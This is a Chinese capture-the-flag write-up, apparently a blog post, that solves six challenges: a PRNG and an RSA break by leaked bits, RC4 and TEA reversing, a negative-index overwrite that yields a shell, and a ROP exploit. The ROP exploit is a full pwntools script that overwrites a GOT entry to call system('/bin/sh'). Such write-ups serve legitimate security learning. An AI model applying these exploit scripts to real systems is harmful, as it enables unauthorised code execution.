[XXX]不知道是啥比赛,放在群里的附件

Crypto/easy_math

一个prng给出6个值求下一个

from Crypto.Util.number import *
from random import *
p = getPrime(128)
seed = randint(2, p - 1)

class prng:
    n = p
    a,b = [randint(2, p - 1) for _ in range(2)]
    def __init__(self,seed):
        self.state = seed
    def next(self):
        self.state = (self.state * self.a + self.b) % self.n
        return self.state

    
def main():
    gen = prng(seed)
    s = [seed]
    s.append(gen.next())
    s.append(gen.next())
    s.append(gen.next())
    s.append(gen.next())
    s.append(gen.next())
    s.append(gen.next())
    f = open("output.txt",'w')
    json.dump(s,f)
    f.close()
    flag = "flag{"+str(gen.next())+"}"
    return flag
main()

用idea求参数,然后。

不过这里的模直接可能求不出来,需要再次分解一下。

s = [288530505749272642500730917886204398531, 63547143998110685331032679758907988154, 15151206512028268617888756820805603406, 268092204209244869520724955865278855216, 261067075335188593563542448889694952077, 138067838531633886698552659065694918861, 201319433320428898153580935653793106657]

P.<a,b>=PolynomialRing(ZZ)
f1 = s[0]*a + b - s[1]
f2 = s[1]*a + b - s[2]
f3 = s[2]*a + b - s[3]
F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n
#n = 59249682751769503363203316110512196880237843716287147146582920698090041055874
#a = 39639496895451871655974701456410309491353853288625558323316881871468943264668
#b = 22810180391048437581755014951877814670401528287956870993064116275158840869196
#factor(n) = 2 * 3 * 29 * 563 * 115108456715191 * 16799523207879604613 * 312769358113056565136009929613710078319
n = 312769358113056565136009929613710078319
a = 40963964079686917005166446559117876093
b = 11856650155037935400579201826386146297
#(s[6]*a +b)%n
s7 = 302184756857257140159769321021979097116
#flag{302184756857257140159769321021979097116}

Crypto/easy_rsa

from Crypto.Util.number import *
from flag import flag

p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1

e = 65537

p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2

leak1 = (p2+q2) >> 400
leak2 = (p1 & ((1 << 350) - 1)) >> 5

enc = pow(leak2,e,n2)
c = pow(bytes_to_long(flag),e,n1)
f = open(f'output.txt','w')
f.write(f'n1 = {n1}\n')
f.write(f'n2 = {n2}\n')
f.write(f'leak1 = {leak1}\n')
f.write(f'enc = {enc}\n')
f.write(f'c = {c}')
f.close()

两次rsa,可以根据leak1=(p2+q2)>>400求出得到p2,q2,然后求出leak2,再根据leak2求p1

虽然都不复杂,可这两个模板不是大众型的,有必要存好。

n1 = 105813626754830369767796578799226643889033227412658130226893708851110720416468059965713264658478299377654212587044247669928410442281831382577490105352633718272894531572352233211881056495752193201866649055622358234888531194346296702453105176147272971386928767457928148705433435309063146652094354833396307613911
n2 = 20369481027961668058257949652346266097405331865071244844827896944882851755421021125005038786750268341013032202394581223828526073179263634639721089663050687773353438686984875196973012077948955566738301337866191557952973517042420660699281973702694965572488938789954679350791243570953680441483360036599350550534192027759384675611155970913348616382186229565994100357427843446265863186624731991521034305958565644266001622849342042747046352413268149901263629515623929619659379883036239511300563910486156582808698915297257307692017642458823600500445082987244477251123335410633989767118317681371314078169733374888688620813839
leak1 = 110733171993470709195465104383246525062178362778220972191726705114514369848757940664883819735824778128179586221599072975207093223575285541338555960658178287486722693023393688158120847028382
enc = 3724360314735337348015983350518926695244720487101059718828225257324872465291143851090607580822961202894850524395217010317254775500983396154162166500198523991652838543842978138662752717532358799622372813160573374563924704242911344052149200174619645796187521459916955545794017698320367273671936314947729523150627463505338870024421481261166504454532278895870561732979282672259730923724762173494886613682487373643406390205027508946750313076817576295795818790961232101069994823561840743308871216879655652136743807002025483269687509388947008928281179566366429525183899914275273098400627187051739816901887290337980735995613
c = 38127787578353827234498259231834082660893046004292279030517959465543348558091033172704284501791369355347078715874056471582324178524957666710131669794646539355849074198396968523041568909435662208846480656877184197877122598569708545477705274221697660270808685794034776172296500330563270867517390911486555286886
e = 65537 

#leak1 = (p2+q2) >> 400
RF = RealField(2048) #2048位精度实数
X = polygen(RF)
f = X*((leak1<<400)-X) -n2 
P_high = int(f.roots()[1][0])
#P_high = (P<<410)>>410    #未知部分400位,但会有进位影响
PR.<x> = PolynomialRing(Zmod(n2))
f1 = x + P_high 
x0 = f1.small_roots(X=2^410, beta=0.4)[0]
p2 = f1(x0)
print(n2%p2)

p2 = 151399048655298148018688323609718705920605086712318698086250277971491481779504840614471253946764630599745412866850500656954922361816231030123945084396794404269982437117950486373905356265950808460057643971210951709676705550508291196476405125057071271317182732652055355984683359771176148502822187125614565868259
q2 = 134541671225018271403953787373408507465730892003631249716123043010464351342881237505189677861071006923092011330983761091184598196512437449946447759771425031294468141216072218813533336313651823171925311705682558765317115569680736707328403560829555033008387085671352235353814183291570781754064065104600110875621
#enc = pow(leak2,e,n2)
leak2 = pow(enc,inverse_mod(e,(p2-1)*(q2-1)), n2)
#leak2 = 22334810767801800995021872014176778873829048161801414909315794486047873481911273730826962574216771288781

#leak2 = (p1 & ((1 << 350) - 1)) >> 5
for i in range(32):
    p1_l = (leak2<<5) + i
    P.<x> = PolynomialRing(Zmod(n1))
    f = x*2^350 + p1_l 
    v = f.monic().small_roots(X=2^(512-350), beta=0.4)
    if v != []:
        x0 = v[0]
        p1 = f(x0)
        print(p1)
        p1 = int(p1)
        q1 = n1//p1 
        break 
p1 = 11239391699442192016394616757221620834717629054697859972076207292592548525033647125013001671320452447403380966370885392089905799108483165855335320142731687
q1 = 9414533240271523909175466549989578413560381929724653857969276831718175551727032446390484582550970699995107874013408751551550726534204653674601330352393553

#c = pow(bytes_to_long(flag),e,n1)
flag = pow(c,inverse_mod(e,(p1-1)*(q1-1)),n1)
bytes.fromhex(hex(int(flag))[2:])
#b'flag{9995eae8acaac286c7b72e50e5258dc3}'

PWN/delove

题目是个一次read ,没有输出,上回写过一回合题

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  alarm(0x20u);
  read(0, buf, 0x100uLL);
  return 0LL;
}

自从版本高一点后就有一个新gadget

.text:0000000000400512 C6 05 1F 0B 20 00 01          mov     cs:byte_601038, 1
.text:0000000000400519 5D                            pop     rbp
.text:000000000040051A C3                            retn

这个代码在错位后,015DC3 可以在指定地址加指定值

0: 01 5d c3  add    DWORD PTR [rbp-0x3d], ebx

这题由于读入长度只有0x100所以/bin/sh只能先用read读进来,然后再把got.alarm改成system

(这里只用到add,没用到ret2csu)

from pwn import *

p = process('./delove')
context(arch='amd64', log_level='debug')
elf = ELF('./delove')
libc = ELF('./libc-2.27.so')

pop_rdi = 0x00000000004005d3 # pop rdi ; ret
pop_rsi = 0x00000000004005d1 # pop rsi ; pop r15 ; ret
ret = pop_rdi+1

add_dword_rbp_0x3d_ebx_ret = 0x00400518  # 0: 01 5d c3  add    DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004005ca  #__libc_csu_init
mov_call = 0x004005a6

bss = elf.bss(0)  #stdout
buf = elf.bss(0x40)
 
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        0, 1, rdi, rsi, rdx, addr, mov_call,
        0, 0, rbp, 0, 0, 0, 0,
    ])
 
def add(off, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_dword_rbp_0x3d_ebx_ret,
    ])

one = [0x4f2a5, 0x4f302, 0x10a2fc]

payload = b'a' * 0x38 + flat([
    add(libc.sym['system'] - libc.sym['alarm'], elf.got['alarm']),   #alarm->one
    pop_rdi, buf, elf.plt['alarm']
])

#gdb.attach(p, "b*0x400564\nc")

p.send(b'A'*0x30 + flat(0, pop_rdi, 0, pop_rsi,buf,0, elf.plt['read'], 0x400537).ljust(0x100-0x30, b'\x00'))
p.send(b'/bin/sh\x00'.ljust(0x100, b'\x00'))
p.send(payload)

p.sendline(b'cat /flag')

p.interactive()

PWN/easyshell

这题是脑筋急转弯,给了10次猜,虽然有随机数,但你可以猜同一个,错了还会保存数。怎么都能猜对9次吧,但得到shell需要至少11次

unsigned __int64 game()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("input the index");
  __isoc99_scanf("%d", &v1);
  puts("input the result");
  __isoc99_scanf("%d", &v2);
  if ( pp[v1] == v2 )
  {
    puts("right!");
    ++coins;
  }
  else
  {
    puts("wrong!");
    pp[v1] = v2;
  }
  if ( coins > 10 )
  {
    puts("wow you are so good!");
    system("/bin/sh");
  }
  return __readfsqword(0x28u) ^ v3;
}

但是可以输入负数越界把值输入到coins

输入-1,A就比10大了

REV/rrrrr

三部分,主体有密钥,然后 init和异或加密,RC4

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned __int64 v3; // rax
  unsigned __int64 v5; // [rsp+8h] [rbp-148h]
  char v6[42]; // [rsp+16h] [rbp-13Ah] BYREF
  __int64 v7[34]; // [rsp+40h] [rbp-110h] BYREF

  v7[33] = __readfsqword(0x28u);
  memset(v7, 0, 256);
  strcpy(v6, "rcrcrcrc4");
  __isoc99_scanf("%29s", &v6[10]);
  v5 = strlen(&v6[10]);
  v3 = strlen(v6);
  sub_11C9((__int64)v7, (__int64)v6, v3);
  sub_14A2((__int64)v7, (__int64)&v6[10], v5);
  if ( !memcmp(&v6[10], &unk_4010, 0x1DuLL) )
    puts("yes~~~~~~~~~~~~~~~~~");
  else
    puts("no!!!!!!!!!!!!!!!!!!!!!!!");
  return 0LL;
}

init密钥部分

unsigned __int64 __fastcall sub_11C9(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  char v4; // [rsp+27h] [rbp-119h]
  int i; // [rsp+28h] [rbp-118h]
  int j; // [rsp+28h] [rbp-118h]
  int v7; // [rsp+2Ch] [rbp-114h]
  __int64 v8[33]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v9; // [rsp+138h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v7 = 0;
  memset(v8, 0, 256);
  for ( i = 0; i <= 255; ++i )
  {
    *(_BYTE *)(i + a1) = i;
    *((_BYTE *)v8 + i) = *(_BYTE *)(i % a3 + a2);
  }
  for ( j = 0; j <= 255; ++j )
  {
    v7 = (*((unsigned __int8 *)v8 + j) + v7 + *(unsigned __int8 *)(j + a1)) % 256;
    v4 = *(_BYTE *)(j + a1);
    *(_BYTE *)(j + a1) = *(_BYTE *)(v7 + a1);
    *(_BYTE *)(a1 + v7) = v4;
  }
  return v9 - __readfsqword(0x28u);
}

加密部分

unsigned __int64 __fastcall sub_14A2(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 result; // rax
  char v4; // [rsp+23h] [rbp-15h]
  int v5; // [rsp+24h] [rbp-14h]
  int v6; // [rsp+28h] [rbp-10h]
  unsigned __int64 i; // [rsp+30h] [rbp-8h]

  v5 = 0;
  v6 = 0;
  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a3 )
      break;
    v5 = (v5 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
    v4 = *(_BYTE *)(v5 + a1);
    *(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
    *(_BYTE *)(a1 + v6) = v4;
    *(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
  }
  return result;
}

对照解密

'''
  v7 = 0;
  memset(v8, 0, 256);
  for ( i = 0; i <= 255; ++i )
  {
    *(_BYTE *)(i + a1) = i;
    *((_BYTE *)v8 + i) = *(_BYTE *)(i % a3 + a2);
  }
  for ( j = 0; j <= 255; ++j )
  {
    v7 = (*((unsigned __int8 *)v8 + j) + v7 + *(unsigned __int8 *)(j + a1)) % 256;
    v4 = *(_BYTE *)(j + a1);
    *(_BYTE *)(j + a1) = *(_BYTE *)(v7 + a1);
    *(_BYTE *)(a1 + v7) = v4;
  }
'''
key = b'rcrcrcrc4'
a1 = [i for i in range(256)]
v8 = [key[i%9] for i in range(256)]
v7 = 0
for i in range(256):
    v7 = (v8[i] + v7 + a1[i] )%256
    v4 = a1[i]
    a1[i] = a1[v7]
    a1[v7] = v4 

cipher = bytes.fromhex('2E4BD80F35F816F35A503F5111806B83DA7793FA31E2B0933022AFA4D9')

'''
 for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a3 )
      break;
    v5 = (v5 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
    v4 = *(_BYTE *)(v5 + a1);
    *(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
    *(_BYTE *)(a1 + v6) = v4;
    *(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
  }
'''
c = [v for v in cipher]
v5 = 0 
v6 = 0
for i in range(len(cipher)):
    res = i
    v5 = (v5+1)%256
    v6 = (v6 + a1[v5]) %256
    v4 = a1[v5]
    a1[v5] = a1[v6]
    a1[v6] = v4
    c[i] ^= a1[(a1[v5]+a1[v6])%256]
    
bytes(c)
#flag{rcccccccccc4_i5_s0_eAsy}

REV/self

这个居然没作出来,问了群友,原来把题目的+=看成=了

主程序部分作了SMC,需要把这一段函数异或0xc3解密,IDA才能看

int sub_400763()
{
  int i; // [rsp+Ch] [rbp-14h]

  mprotect(&dword_400000, 0x1000uLL, 7);
  for ( i = 0; i < (unsigned __int64)((char *)sub_400763 - (char *)sub_400696); ++i )
    *((_BYTE *)sub_400696 + i) ^= 0xC3u;
  return mprotect(&dword_400000, 0x1000uLL, 5);
}

主程序

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-3Ch]
  _QWORD s1[6]; // [rsp+10h] [rbp-30h] BYREF

  s1[5] = __readfsqword(0x28u);
  puts("plz input u fl4g:");
  __isoc99_scanf("%32s", s1);
  sub_400763();
  for ( i = 0; i <= 3; ++i )
    sub_400696((unsigned int *)&s1[i], dword_601080);
  if ( !memcmp(s1, &unk_6010A0, 0x20uLL) )
    puts("yeh~");
  else
    puts("oh,no");
  return 0LL;
}

加密部分,是tea加密,还是见得少,见多了一眼就能看出来。

__int64 __fastcall sub_400696(unsigned int *a1, _DWORD *a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]
  int v5; // [rsp+18h] [rbp-8h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 0x1F; ++i )
  {
    v5 -= 1640531527;
    v3 += (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]);
    v4 += (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]);
  }
  *a1 = v3;
  result = v4;
  a1[1] = v4;
  return result;
}

自己写的那块不好意思保留了,还是直接发师傅的WP

from ctypes import *
import libnum


def decrypt(v,k):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta = 0x61C88647
    sum1 = c_uint32((-delta) * 32)
    for i in range(32):       
        v1.value -= (sum1.value + v0.value) ^ (k[2] + (v0.value << 4)) ^ (k[3] + (v0.value >> 5))
        v0.value -= (sum1.value + v1.value) ^ (k[0] + (v1.value << 4)) ^ (k[1] + (v1.value >> 5))
        sum1.value += delta       
    return v0.value, v1.value


if __name__ == '__main__':
    flag=b""
    l=[0x0DB8F2569,0x40CD83E3,0x0A033E680,0x0FFF7A644,0x690C3A17,0x0B621B866,0x34E7E2A7,0x0AD10A692]
    for i in range(0,8,2):
        a = [l[i],l[i+1]]
        k = [0x1234567,0x89ABCDEF,0xFEDCBA98,0x76543210]
        res = decrypt(a,k)
        print(res)
        flag += libnum.n2s(res[0])[::-1]
        flag += libnum.n2s(res[1])[::-1]
    print(flag)
 
#5ef846656801c9b9714388d2ccd98cdd

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值